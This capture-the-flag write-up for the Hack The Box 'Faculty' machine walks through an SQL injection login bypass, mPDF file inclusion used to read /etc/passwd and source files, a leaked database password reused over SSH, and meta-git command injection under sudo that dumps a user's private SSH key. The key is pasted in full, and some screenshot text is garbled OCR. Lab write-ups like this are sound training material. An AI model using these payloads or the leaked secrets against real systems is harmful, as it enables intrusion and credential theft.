For the actual exploitation, I used a SQL injection vulnerability on http://faculty.htb/admin with the username (or password) ' OR 1=1#, which evaluates the expression to always be true.

	😌 Hack The Bo	ox = Hack The B 🔹	t 🕆 HTB Viewer 🗙	+									~ ×
	← → C	e vnc.htb-cloud.	com/index.php									< 2 8	• = = = = = =
	O GH N HN		H 🖾 MD 💌 TW 🔯 FL 🗖 GW	CALIC CALIFICATION OF SC TO FP CALIFICATION SC	- WW - MV -		R FT						
		Discor System			-								The Oct 12, 20:5
	Apparations											410	- Ind Corray, 2013
	 School Faculty 	y Scheduline×											
													💶 🛞 🗳 🗉
	School Fa	culty Scheduli	ng System										nistrator +
	Allama												
	w nome		Subject Form		Subject List							🛓 PDF	
	I≣ Course List	t	Cold and										
			subject		Show 10 v en	ntries					Search:		
	Subject Lis	it .						Subject			Activ	n	
	& Faculty List	t	Description					subject			Activ		
						Subject: DBM:	5					_	
	🛱 Schedule				1	Description: p	atabase Management System				Edit	elete	
	at Users												
				A		Subject: Math	ematics						
					2	Description: M	athematics				Edit	elete	
				Save Cancel									
						Subject: Englis	sh						
					3	Description					Edit	elete	
	Transferring data t	from faculty.htb				Description. E	igian					_	
	A Style sheet could no	ot be loaded. https://fa	rts.googleapis.com/css?family=Open+Sans:300,300	400,400,600,600,700,700/Baleway:300,300,400,400,500,500,600,600,700,700/Poppins:300,3	01,400,400,500,500,600,600,7	,700,700							×
Normal Norma	C O Inspector	Console D	Debugger † Network {} Style Editor 🤇	Performance 🔘 Memory 📴 Storage 🛊 Accessibility 🏢 Application									• 1 ··· >
	Prine URLs								11 Q	. O AL HTML CSS IS XHR Pont	s Images Media WS Other	Disable Cache	 No Throttling 6
<form> Bit Bit</form>	Status	Method GET	Damain K faculty.htb	File index.php?page=subjects			initiator document	Type html	Transferred 6.04 KB	Size 20.86 KB	0 mi 1285	2.564	3.84.5
	200	GET	🔏 faculty.htb	fa-solid-900.weff			fort	font-wolf	95.98 KB	95.72 KB	1 96 ms		
		GET	🔏 fants.googleapis.com	cas7family=0pen+Sam:300,300(400,400,600,600(700,700(Raleway:300,300,40	0,400(,500,500(,600,600),700,70	001/Poppins:300,300(,400,	stylesheet		08	0.8	0.00		
Image: State Stat	200	GET	🔏 faculty.htb	jquery min.js			script	js.	cached	0.8	0 ma		
Circle Find	288	GET	🔏 faculty.htb	datatables.min.js			script	js	cached	0.8	0 ms		
GD Kind <	200	GET	🔏 faculty.htb	bootstrap,bundle.min.js			script	ja .	cached	0.8	0 m		
City Kataly Analy Analy <th< td=""><td>200</td><td>GET</td><td>🔏 faculty.htb</td><td>jquery easing min.js</td><td></td><td></td><td>script</td><td>js</td><td>cached</td><td>0.8</td><td>0 mi</td><td></td><td></td></th<>	200	GET	🔏 faculty.htb	jquery easing min.js			script	js	cached	0.8	0 mi		
CD Find Find Stand Stan	200	GET	🔏 faculty, htb	validate.js			script	þ	cached	0.8	Dres		
Since All and all and all all all all all all all all all al	200	GET	🔏 faculty, htb	venabox.min.ja			script	ja –	cached	0.8	0.00		
Sint Katalya Anomanya	210	GET	K faculty.htb	jąvery waypoints.min.js			script	js	cached	0.8	0 me		
Bit All and main Anothing	200	GET	K faculty.htb	counterup.min.js			script	þ	cached	0.8	0 ms		
Bit A find Find State S	200	GET	# faculty.htb	ovel.carousel.min.js			script	ja .	cached	0.8	0 m		
Bill Africa Analysis A	610	GET	A faculty.htb	bootstrap-dategičker minijs			script	ķ	cached	0.8	0 m.		
Game Line A back to be back to be a back to back to be a back to back to back	216	GET	A faculty.htp	select2.min.js			script	p	cached	0.8	0 ms		
Ball (1) # training (10,1) # training (10,1) (10,		GET	A tacuty to	I query dateomepicker nummings			scopt	μ	cached	0.8	0 ms		
Game array or p array or array or	810	OET	A DOUTY ND	at.min.js			sonpt	β	carned	08	Des		
Game Air A straty in particular (A) pic Colord OB def Im 01 01 02	C10	951	A ticuti tit	man,p			singi	p	CACHEO	0.8	Dans		
State oc. p. strapsy mescalization (boty) (MD, 2370)		661	A tacuty top	jązery-te-1.4.0.7mn.js			script	js hund	cached	08	0.00		1000
2 Paralwa Na Jaka Da Kata Da Kata Managa Manag Managa Managa Mana Managa Managa Manag Managa Managa Mana		001	A tocory.ms	fe calid and calif.			Igen y minute 2 minute	ronk	300 0	162.8			100
	A	961	A technic	re-wead-200.WBM2			Manu A sum (JR.5 (Apart)	ocost-stream	23.50 A.D	73.94 KS			1.2
	O 23 requests 1	190.38 KB/176.22 KB	stansperred Plinists 3.91 5 DOMContentLoaded	(1993									U

Figure 5: Faculty PDF generator

Here I found an endpoint that generates PDFs. Looking at the inspector we first base64 decode and then URL decode (twice), which yields us the input: Plain HTML!:

HackThe Box:: HackThe E × HTB Viewer × +		× ×
\leftrightarrow \rightarrow C & which the cloud combined on the c		0 < 🖈 💷 🛛 🔕 :
🕥 gh 👖 hn 🔳 br 📮 ph 🤪 md 🎔 tw 🔞 el 🔕 gw 🍘 dc 👯 sl 🚳 ig 🚥 yt 🖓 tw	r 🛄 SC 🦉 EP 😑 CA 🛞 SD 🖷 WW 🚱 MV 🆿 CL 🖿 IS 🖿 AP 🕃 FT	
😚 Applications Places System 🛛 💮 🎃 📼 📼		eng 🕎 Thu Oct 13, 20:52
•••		
School Faculty Scheduling Sy × OKNGr3IPA4KIn7sRqfXHuv/× +		
← → ⊖ @ Ô & faculty.htb/mpdf/tmp/OKNQr3IPA4Ktn7sRqfXHuvDWj2.pdf		û
① ↑ ↓ 1 et1	- + Automatic Zoom 👻	· ● □ ■ ≫
	faculty.htb	
	Subjects	
	a forklad Decodeday	
	1 DBMS Database Management System	
	2 Mathematics Mathematics	
	3 English English	
	4 Computer Hardware Computer Hardware 5 History History	
	s many many	
Menu 🔳 [VNC config] 🥌 OKNQr3IPA4K]n7sRqf		•

Figure 6: Faculty PDF content

```
1 $ function urldecode() { : "${*//+/ }"; echo -e "${_//%/\\x}"; }
2 $ urldecode $(urldecode $(echo ${PARAM_FROM_POST_REQUEST} | base64 -d))
```

This yielded the following result:

```
1 <h1><a name="top"></a>faculty.htb</h1>
2 <h2>Faculties</h2>
3 
  <thead>
4
5
   6
    ID
7
    Name
8
    Email
9
    Contact
   10
11
  </thead>
  12
   13
14
    {{7*7}}
15
    <b>{{7*7}} {{7*7}} {{7*7}} </b>
    16
17
     <small><b>{{7*7}}</b></small>
18
```

```
19
     20
       <small><b>{{7*7}}</b></small>
21
     22
23
    \langle tr \rangle
24
     1
25
     <b>{{7*7}}, {{7*7}} {{7*7}}</b>
     26
27
      <small><b>{{7*7}}</b></small>
28
     29
     <small><b>{{7*7}}</b></small>
31
     \langle tr \rangle
34
     85662050
     <b>Blake, Claire G</b>
     <small><b>cblake@faculty.htb</b></small>
38
     39
     40
       <small><b>(763) 450-0121</b></small>
     41
    42
43
    \langle tr \rangle
44
     30903070
45
     <b>James, Eric P</b>
     46
      <small><b>ejames@faculty.htb</b></small>
47
48
     49
     50
      <small><b>(702) 368-3689</b></small>
51
     52
    \langle tr \rangle
53
    \langle tr \rangle
     12345678
54
55
     <b>TEST, TEST TEST</b>
56
     57
       <small><b>TEST</b></small>
     59
      <small><b>TEST</b></small>
61
     62
63
   64
```

I was able to POST to this endpoint using cURL:

```
' -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8
' -H 'Cookie: PHPSESSID=lbb7g4c7aqb8pjk8vo8g749ka3' -H 'Origin: http
://faculty.htb' -H 'Referer: http://faculty.htb/admin/index.php?page
=faculty' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari
/537.36' -H 'X-Requested-With: XMLHttpRequest' --data-raw 'pdf=
JTI1M0NoMSUyNTNFJTI1M0NhJTJCbmFtZSUyNTNEJTI1MjJ0b3AlMjUyMiUyNTNFJTI1M0MlMjUyRmEl
' --compressed -L -vvv
```

For example, to get a PDF with "Hello, world!" in it:

```
1 $ cat <<EOT | jq -sRr @uri | base64 -w 0 > /tmp/body
2 <h1>Hello, world!</h1>
3 EOT
4 $ export ID=$(curl 'http://faculty.htb/admin/download.php' -H 'Accept:
      */*' -H 'Accept-Language: en-US,en;q=0.9,de;q=0.8' -H 'Connection:
      keep-alive' -H 'Content-Type: application/x-www-form-urlencoded;
      charset=UTF-8' -H 'Cookie: PHPSESSID=lbb7g4c7aqb8pjk8vo8g749ka3' -H
      'Origin: http://faculty.htb' -H 'Referer: http://faculty.htb/admin/
      index.php?page=faculty' -H 'User-Agent: Mozilla/5.0 (X11; Linux
      x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0
      Safari/537.36' -H 'X-Requested-With: XMLHttpRequest' --data-raw pdf=
      $(cat /tmp/body))
```

This returns the ID, so we can the full path like so (the mpdf/tmp/ path can be found when downloading it from the browser):

\$ xdg-open "http://faculty.htb/mpdf/tmp/\${ID}"

This returns a PDF with the text "Hello, world!". MPDF has a file inclusion exploit (https://www.exploitdb.com/exploits/50995), so I was able to inject /etc/passwd into the generated PDF:

```
1 $ cat <<EOT | jq -sRr @uri | base64 -w 0 > /tmp/body
2 <annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title</pre>
      ="Attached File: /etc/passwd" pos-x="195" />
3 EOT
4 $ export ID=$(curl 'http://faculty.htb/admin/download.php' -H 'Accept:
      */*' -H 'Accept-Language: en-US,en;q=0.9,de;q=0.8' -H 'Connection:
      keep-alive' -H 'Content-Type: application/x-www-form-urlencoded;
      charset=UTF-8' -H 'Cookie: PHPSESSID=lbb7g4c7aqb8pjk8vo8g749ka3' -H
      'Origin: http://faculty.htb' -H 'Referer: http://faculty.htb/admin/
      index.php?page=faculty' -H 'User-Agent: Mozilla/5.0 (X11; Linux)
      x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0
      Safari/537.36' -H 'X-Requested-With: XMLHttpRequest' --data-raw pdf=
      $(cat /tmp/body))
5 $ xdg-open "http://faculty.htb/mpdf/tmp/${ID}"
```

Opening the PDF in Atril shows the following attached file:

```
1 root:x:0:0:root:/root:/bin/bash
```

```
2 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
3 bin:x:2:2:bin:/bin:/usr/sbin/nologin
4 sys:x:3:3:sys:/dev:/usr/sbin/nologin
5 sync:x:4:65534:sync:/bin:/bin/sync
6 games:x:5:60:games:/usr/games:/usr/sbin/nologin
7 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
8 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
9 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
10 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
11 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
12 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
13 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
14 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
15 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
16 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
17 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/
      sbin/nologin
18 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
19 systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/
      usr/sbin/nologin
20 systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/
      nologin
21 systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd
      :/usr/sbin/nologin
22 messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
23 syslog:x:104:110::/home/syslog:/usr/sbin/nologin
24 _apt:x:105:65534::/nonexistent:/usr/sbin/nologin
25 tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
26 uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
27 tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
28 landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
29 pollinate:x:110:1::/var/cache/pollinate:/bin/false
30 sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
31 systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
32 lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
33 mysql:x:112:117:MySQL Server,,,:/nonexistent:/bin/false
34 gbyolo:x:1000:1000:gbyolo:/home/gbyolo:/bin/bash
35 postfix:x:113:119::/var/spool/postfix:/usr/sbin/nologin
36 developer:x:1001:1002:,,,:/home/developer:/bin/bash
37 usbmux:x:114:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
```

As we can see, gbyolo, developer and root are our next targets because they have interactive shells.

I couldn't find anything else that was suspicious directly, so I processed to try and fetch the application source code to the host:

```
    $ ffuf -w ~/Downloads/SecLists/Discovery/Web-Content/raft-large-
directories.txt:FUZZ -u http://faculty.htb/FUZZ -fs 12193
    # ...
    3 admin [Status: 301, Size: 178, Words: 6, Lines: 8,
```

```
Duration: 22ms]

4 mpdf [Status: 301, Size: 178, Words: 6, Lines: 8,

Duration: 24ms]

5 # ...
```

The first guess fails:

1	<pre>\$ export FILE='/var/www/admin.php'</pre>
2	\$ cat < <eot -srr="" -w="" 0="" @uri="" base64="" jq="" =""> /tmp/body</eot>
3	<pre><annotation content="\${FILE}" file="\${FILE}" icon="Graph" pos-x="195" title="</pre></th></tr><tr><th></th><th>Attached File: \${FILE}"></annotation></pre>
4	EOT
5	<pre>\$ export ID=\$(curl 'http://faculty.htb/admin/download.php' -H 'Accept:</pre>
	<pre>*/*' -H 'Accept-Language: en-US,en;q=0.9,de;q=0.8' -H 'Connection:</pre>
	<pre>keep-alive' -H 'Content-Type: application/x-www-form-urlencoded;</pre>
	charset=UTF-8' -H 'Cookie: PHPSESSID=lbb7g4c7aqb8pjk8vo8g749ka3' -H
	'Origin: http://faculty.htb' -H 'Referer: http://faculty.htb/admin/
	<pre>index.php?page=faculty' -H 'User-Agent: Mozilla/5.0 (X11; Linux</pre>
	x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0
	Safari/537.36' -H 'X-Requested-With: XMLHttpRequest'data-raw pdf=
	<pre>\$(cat /tmp/body))</pre>
6	\$ xdg-open "http://faculty.htb/mpdf/tmp/\${TD}"

By ommiting parameters, I was able to display a stacktrace that helped finding the source code's location:

```
1 $ curl 'http://faculty.htb/admin/ajax.php?action=login'
                                                               -H 'Accept:
                                                               -H '
      */*' -H 'Accept-Language: en-US,en;q=0.9,de;q=0.8'
      Connection: keep-alive' -H 'Content-Type: application/x-www-form-
      urlencoded; charset=UTF-8' -H 'Cookie: PHPSESSID=
lbb7g4c7aqb8pjk8vo8g749ka3' -H 'Origin: http://faculty.htb' -H '
      Referer: http://faculty.htb/admin/login.php' -H 'User-Agent:
      Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
      Gecko) Chrome/106.0.0.0 Safari/537.36' -H 'X-Requested-With:
      XMLHttpRequest' --data-raw 'idonotexist='
                                                    --compressed
      insecure
2 <br />
3 <b>Notice</b>: Undefined variable: username in <b>/var/www/scheduling/
      admin/admin_class.php</b> on line <b>21</b><br />
4 <br />
5 <b>Notice</b>: Undefined variable: password in <b>/var/www/scheduling/
      admin/admin_class.php</b> on line <b>21</b><br />
```

This made it possible to fetch the file:

```
1 $ export FILE='/var/www/scheduling/admin/admin_class.php'
2 $ cat <<EOT | jq -sRr @uri | base64 -w 0 > /tmp/body
3 <annotation file="${FILE}" content="${FILE}" icon="Graph" title="
Attached File: ${FILE}" pos-x="195" />
4 EOT
5 $ export ID=$(curl 'http://faculty.htb/admin/download.php' -H 'Accept:
```

```
*/*' -H 'Accept-Language: en-US,en;q=0.9,de;q=0.8' -H 'Connection:
keep-alive' -H 'Content-Type: application/x-www-form-urlencoded;
charset=UTF-8' -H 'Cookie: PHPSESSID=lbb7g4c7aqb8pjk8vo8g749ka3' -H
'Origin: http://faculty.htb' -H 'Referer: http://faculty.htb/admin/
index.php?page=faculty' -H 'User-Agent: Mozilla/5.0 (X11; Linux
x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0
Safari/537.36' -H 'X-Requested-With: XMLHttpRequest' --data-raw pdf=
$(cat /tmp/body))
```

6 \$ xdg-open "http://faculty.htb/mpdf/tmp/\${ID}"

It returned in the attachment:

```
1 <?php
2 session_start();
3 ini_set('display_errors', 1);
4 Class Action {
5
       private $db;
6
       public function __construct() {
7
8
            ob_start();
       include 'db_connect.php';
9
11
       $this->db = $conn;
12
       }
13
       function __destruct() {
14
           $this->db->close();
15
            ob_end_flush();
16
       }
17
18
       # ...
```

After this, I proceeded to look at the included db_connect.php file to search for DB credentials:

```
1 export FILE='/var/www/scheduling/admin/db_connect.php'
2 cat <<EOT | jq -sRr @uri | base64 -w 0 > /tmp/body
3 <annotation file="${FILE}" content="${FILE}" icon="Graph" title="
Attached File: ${FILE}" pos-x="195" />
4 EOT
5 export ID=$(curl 'http://faculty.htb/admin/download.php' -H 'Accept:
*/*' -H 'Accept-Language: en-US,en;q=0.9,de;q=0.8' -H 'Connection:
keep-alive' -H 'Content-Type: application/x-www-form-urlencoded;
charset=UTF-8' -H 'Cookie: PHPSESSID=lbb7g4c7aqb8pjk8vo8g749ka3' -H
'Origin: http://faculty.htb' -H 'Referer: http://faculty.htb/admin/
index.php?page=faculty' -H 'User-Agent: Mozilla/5.0 (X11; Linux
x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0
Safari/537.36' -H 'X-Requested-With: XMLHttpRequest' --data-raw pdf=
$(cat /tmp/body))
6 xdg-open "http://faculty.htb/mpdf/tmp/${ID}"
```

This returned:

The constructor looks like this (see https://www.php.net/manual/en/mysqli.construct.php):

```
public mysqli::__construct(
    string $hostname = ini_get("mysqli.default_host"),
    string $username = ini_get("mysqli.default_user"),
    string $password = ini_get("mysqli.default_pw"),
    string $database = "",
    int $port = ini_get("mysqli.default_port"),
    string $socket = ini_get("mysqli.default_socket")
    )
```

So the user is sched and the password is Co.met06aci.dly53ro.per. After this, I proceeded to check if the password matches for any of gbyolo, developer and root (sched isn't in /etc/ passwd) next.

7 User Flag

The password matched for the user gbyolo:

```
1 $ ssh gbyolo@10.10.11.169
2 gbyolo@10.10.11.169's password:
3 Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64)
4
5 * Documentation: https://help.ubuntu.com
6 * Management: https://landscape.canonical.com
                   https://ubuntu.com/advantage
7
  * Support:
8
9
    System information as of Thu Oct 13 20:36:01 CEST 2022
10
    System load:
11
                          0.01
                         82.5% of 4.67GB
12
    Usage of /:
13 Memory usage:
                         44%
14 Swap usage:
                         0%
15
     Processes:
                         229
16
    Users logged in:
                          1
     IPv4 address for eth0: 10.10.11.169
17
18
     IPv6 address for eth0: dead:beef::250:56ff:feb9:63db
19
20
21 0 updates can be applied immediately.
```

```
22
23
24 The list of available updates is more than a week old.
25 To check for new updates run: sudo apt update
26 Failed to connect to https://changelogs.ubuntu.com/meta-release-lts.
27 Check your Internet connection or proxy settings
27
28
29 You have new mail.
30 Last login: Thu Oct 13 20:33:26 2022 from 10.10.14.77
```

There is a mbox file in the home directory:

```
1 $ cat mbox
2 From developer@faculty.htb Tue Nov 10 15:03:02 2020
3 Return-Path: <developer@faculty.htb>
4 X-Original-To: gbyolo@faculty.htb
5 Delivered-To: gbyolo@faculty.htb
6 Received: by faculty.htb (Postfix, from userid 1001)
       id 0399E26125A; Tue, 10 Nov 2020 15:03:02 +0100 (CET)
7
8 Subject: Faculty group
9 To: <gbyolo@faculty.htb>
10 X-Mailer: mail (GNU Mailutils 3.7)
11 Message-Id: <20201110140302.0399E26125A@faculty.htb>
12 Date: Tue, 10 Nov 2020 15:03:02 +0100 (CET)
13 From: developer@faculty.htb
14 X-IMAPbase: 1605016995 2
15 Status: 0
16 X-UID: 1
17
18 Hi gbyolo, you can now manage git repositories belonging to the faculty
       group. Please check and if you have troubles just let me know!
      ndeveloper@faculty.htb
```

Since groups were mentioned, I checked how sudo has been configured:

```
1 $ sudo -l
2 Matching Defaults entries for gbyolo on faculty:
3 env_reset, mail_badpass,
4 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/
5 5
6 User gbyolo may run the following commands on faculty:
7 (developer) /usr/local/bin/meta-git
```

I was able to run meta-git as developer. meta-git, has a RCE vulnerability (https://hackeron e.com/reports/728040):

```
1 $ sudo -u developer meta-git clone 'asdf; ls'
2 meta git cloning into 'ls' at ls
3
```

4	ls:
5	fatal: repository 'ls' does not exist
6	ls: command 'git clone ls ls' exited with error: Error: Command failed:
	git clone ls ls
7	(node:63078) UnhandledPromiseRejectionWarning: Error: ENOENT: no such
	file or directory, chdir '/home/gbyolo/ls'
8	at process.chdir (internal/process/main_thread_only.js:31:12)
9	at exec (/usr/local/lib/node_modules/meta-git/bin/meta-git-clone
	:27:11)
10	at execPromise.then. catch .errorMessage (/usr/local/lib/node_modules
	/meta-git/node_modules/meta-exec/index.js:104:22)
11	at processtickCallback (internal/process/next_tick.js:68:7)
12	at Function.Module.runMain (internal/modules/cjs/loader.js:834:11)
13	at startup (internal/bootstrap/node.js:283:19)
14	at bootstrapNodeJSCore (internal/bootstrap/node.js:623:3)
15	(node:63078) UnhandledPromiseRejectionWarning: Unhandled promise
	rejection. This error originated either by throwing inside of an
	async function without a catch block, or by rejecting a promise
	which was not handled with .catch (). (rejection id: 2)
16	(node:63078) [DEP0018] DeprecationWarning: Unhandled promise rejections
	are deprecated. In the future, promise rejections that are not
	handled will terminate the Node.js process with a non-zero exit code

I was able to use this to read the SSH key:

1	\$ cd /tmp
2	<pre>\$ sudo -u developer meta-git clone 'sss cat /home/developer/.ssh/</pre>
	id_rsa'
3	<pre>meta git cloning into 'sss cat /home/developer/.ssh/id_rsa' at id_rsa</pre>
4	
5	id_rsa:
6	fatal: repository 'sss' does not exist
7	BEGIN OPENSSH PRIVATE KEY
8	b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAABAAABlwAAAAdzc2gtcn
9	NhAAAAAwEAAQAAAYEAxDAgrHcD2I4U329//sdapn4ncVzRYZxACC/czxmS05Us2S87dxyw
10	izZ0hDszHyk+bCB5B1wvrtmAFu2KN4aGCoAJMNGmVocBnIkSczGp/zBy0pVK6H7g6GMAVS
11	<pre>pribX/DrdHCcmsIu7WqkyZ0mDN2sS+3uMk6I3361x2ztAG1aC9xJX7EJsHmXDRLZ8G1Rib</pre>
12	KpI0WqAWNSXHDDvcwDpmWDk+NlIRKkpGcVByzhG8x1azvKWS9G36zeLLARBP43ax4eAVrs
13	Ad+7ig3vl9Iv+ZtRzkH0PsMhriIlHBNUy9dFAGP5aa4ZUkYHi1/MlBnsW0giRHMgcJzcWX
14	OGeIJbtcdp2aB0jZlGJ+G6uLWrxwlX9anM3gPXTT4DGqZV1Qp/ 3 +JZF19/KXJ1dr0i328j
15	saMlzDijF5bZjpAOcLxS0V84t99R/7bRbLdFxME/0xyb6QMKcMDnLrDUmdhi0bR0ZFl3v5
16	hnsW9CoFLiKE/4jWKP6lPU+31G0TpKtLXYMDbcepAAAFi0Uui47lLouOAAAAB3NzaC1yc2
17	EAAAGBAMQwIKx3A9i0FN9vf/7HWqZ+J3Fc0WGcQAgv3M8ZkjuVLNkv03ccsIs2dIQ7Mx8p
18	<pre>PmwgeQdcL67ZgBbtijeGhgqACTDRplaHAZyJEnMxqf8wctKVSuh+40hjAFUqa4m1/w63Rw</pre>
19	nJrCLu1qpMmdJgzdrEvt7jJ0iN9+tcds7QBtWgvcSV+xCbB5lw0S2fBtUYmyqSNFqgFjUl
20	xww73MA6Zlg5PjZSESpKRnFQcs4RvMdWs7ylkvRt+s3iywEQT+N2seHgFa7AHfu4oN75fS
21	L/mbUc5B9D7DIa4iJRwTVMvXRQBj+WmuGVJGB4tfzJQZ7FjoIkRzIHCc3FlzhniCW7XHad
22	mgTo2ZRifhuri1q8cJV/WpzN4D100+AxqmVdUKf9/iWRdffylydXa9It9vI7GjJcw4oxeW
23	2Y6QDnC8UtFf0LffUf+20Wy3RcTBP9Mcm+kDCnDA5y6w1JnYYjm0TmRZd7+YZ7FvQqBS4i
24	hP+I1ij+pT1Pt9Rjk6SrS12DA23HqQAAAAMBAAEAAAGBAIjXSPMC0Jvr/oMaspxzULdwpv

25 JbW3BKHB+Zwtpxa55DntSeLUwXpsxzXzIcWLwTeIbS35hSpK/A5acYaJ/yJOyOAdsbYHpa ELWupj/TFE/66xwXJfilBxsQctr0i62yVAVfsR0Sng5/qRt/8orbGrrNIJU2uje7ToHMLN 26 27 J0J1A6niLQuh4LBHHyTvUTRyC72P8Im5varaLEhuHxnzg1g81loA8jjvWAeUHwayNxG8uu ng+nLalwTM/usMo9Jnvx/UeoKnKQ4r5AunVeM7QQTdEZtwMk2G4v0Z90DQztJ07aCDCiEv 28 Hx9U9A6HNyDEMfCebfsJ9voa6i+rphRzK9or/+IbjH3JlnQ0Zw8JRC1RpI/uTECivtmkp4 29 ZrFF5YAo9ie7ctB2JIujPGXlv/F8Ue9FGN6W4XW7b+HfnG5VjCKYKyrqk/yxMmg6w2Y5P5 31 N/NvWYyoIZPQgXKUlTzYj984plSl2+k9Tca27aahZOSLUceZqq71aXyfKPGWoITp5dAQAA AMEAl5stT0pZ0iZLcYi+b/7ZAiGTQwWYS0p4Glxm204Dedr0D4c/Aw7YZFZLYDlL2KUk6o 32 33 0M2X9joquMFMHUoXB7DATWknBS7xQcCfXH8HNuKSN385TCX/QWNfWVnuIhl687Dqi2bvBt pMMKNYMMYDErB1dpYZmh8mcMZgHN3lAK06Xdz57eQQt0oGq6btFdbdVDmwm+LuTRwxJSCs 34 Qtc2vyQOEaOpEad9RvTiMNiAKy1AnlViyoXAW49gIeK1ay7z3jAAAAwQDxEUTmwvt+oX1o 1U/ZPaHkmi/VKl03jxABwPRkFCjyDt6AMQ8K9kCn1ZnTLy+J1M+tm1L0xwkY3T5oJi/yLt ercex4AFaAjZD7sjX9vDqX8atR8M1VX0y3aQ0HGYG2FF7vEFwYdNPfGqFLxLvAczzXHBud 37 QzVDjJkn6+ANFdKKR3j3s9xnkb5j+U/jGzxvPGDpCiZz0I30KRtAzsBzT1ZQMEvKrchpmR 39 jrzHFkgTUug0lsPE4ZLB0Re6Iq3ngtaNUAAADBANBXLol4lHhpWL30or8064fjhXGjhY4g 40 blDouPQFIwCaRbSWLnKvKCwaPaZzocdHlr5wRXwRq8V1VPmsxX8087y9Ro5guymsdPprXF LETXujOl8CFiHvMA1Zf6eriE1/Od3JcUKiHTwv19MwqHitxUcNW0sETwZ+FAHBBuc2NTVF 41 42 YEeVKoox5zK4lPYIAgGJvhUTzSuu0tS809bGnTBTqUAq21NF59XVHDlX0ZAkCfnTW4IE7j 9ulfIdwzi56TWNhQAAABFkZXZlbG9wZXJAZmFjdWx0eQ== 43 44 ----END OPENSSH PRIVATE KEY-----45 # ...

I then proceeded to add this SSH key to my local VM:

```
1 cat > ~/.ssh/id_rsa <<EOT</pre>
  ----BEGIN OPENSSH PRIVATE KEY----
 2
 3 b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAABAAABlwAAAAdzc2gtcn
4 NhAAAAAwEAAQAAAYEAxDAgrHcD2I4U329//sdapn4ncVzRYZxACC/czxmS05Us2S87dxyw
  izZ0hDszHyk+bCB5B1wvrtmAFu2KN4aGCoAJMNGmVocBnIkSczGp/zBy0pVK6H7g6GMAVS
5
6
   pribX/DrdHCcmsIu7WqkyZ0mDN2sS+3uMk6I3361x2ztAG1aC9xJX7EJsHmXDRLZ8G1Rib
 7
   KpI0WqAWNSXHDDvcwDpmWDk+NlIRKkpGcVByzhG8x1azvKWS9G36zeLLARBP43ax4eAVrs
   Ad+7ig3vl9Iv+ZtRzkH0PsMhriIlHBNUv9dFAGP5aa4ZUkYHi1/MlBnsW0giRHMgcJzcWX
8
9
   OGeIJbtcdp2aB0jZlGJ+G6uLWrxwlX9anM3gPXTT4DGqZV10p/3+JZF19/KXJ1dr0i328j
10 saMlzDijF5bZjpAOcLxS0V84t99R/7bRbLdFxME/0xyb6QMKcMDnLrDUmdhi0bR0ZFl3v5
11 hnsW9CoFLiKE/4jWKP6lPU+31GOTpKtLXYMDbcepAAAFi0Uui47lLou0AAAAB3NzaC1yc2
12 EAAAGBAMQwIKx3A9i0FN9vf/7HWqZ+J3Fc0WGc0Agv3M8ZkjuVLNkv03ccsIs2dI07Mx8p
13 PmwgeQdcL67ZgBbtijeGhgqACTDRplaHAZyJEnMxqf8wctKVSuh+40hjAFUqa4m1/w63Rw
14 nJrCLu1qpMmdJgzdrEvt7jJ0iN9+tcds7QBtWgvcSV+xCbB5lw0S2fBtUYmyqSNFqgFjUl
   xww73MA6Zlg5PjZSESpKRnFQcs4RvMdWs7ylkvRt+s3iywEQT+N2seHgFa7AHfu4oN75fS
15
   L/mbUc5B9D7DIa4iJRwTVMvXRQBj+WmuGVJGB4tfzJQZ7FjoIkRzIHCc3FlzhniCW7XHad
16
17
   mgTo2ZRifhuri1q8cJV/WpzN4D100+AxqmVdUKf9/iWRdffylydXa9It9vI7GjJcw4oxeW
   2Y6QDnC8UtFf0LffUf+20Wy3RcTBP9Mcm+kDCnDA5y6w1JnYYjm0TmRZd7+YZ7FvQqBS4i
18
19 hP+I1ij+pT1Pt9Rjk6SrS12DA23HqQAAAAMBAAEAAAGBAIjXSPMC0Jvr/oMaspxzULdwpv
   JbW3BKHB+Zwtpxa55DntSeLUwXpsxzXzIcWLwTeIbS35hSpK/A5acYaJ/yJ0y0AdsbYHpa
21
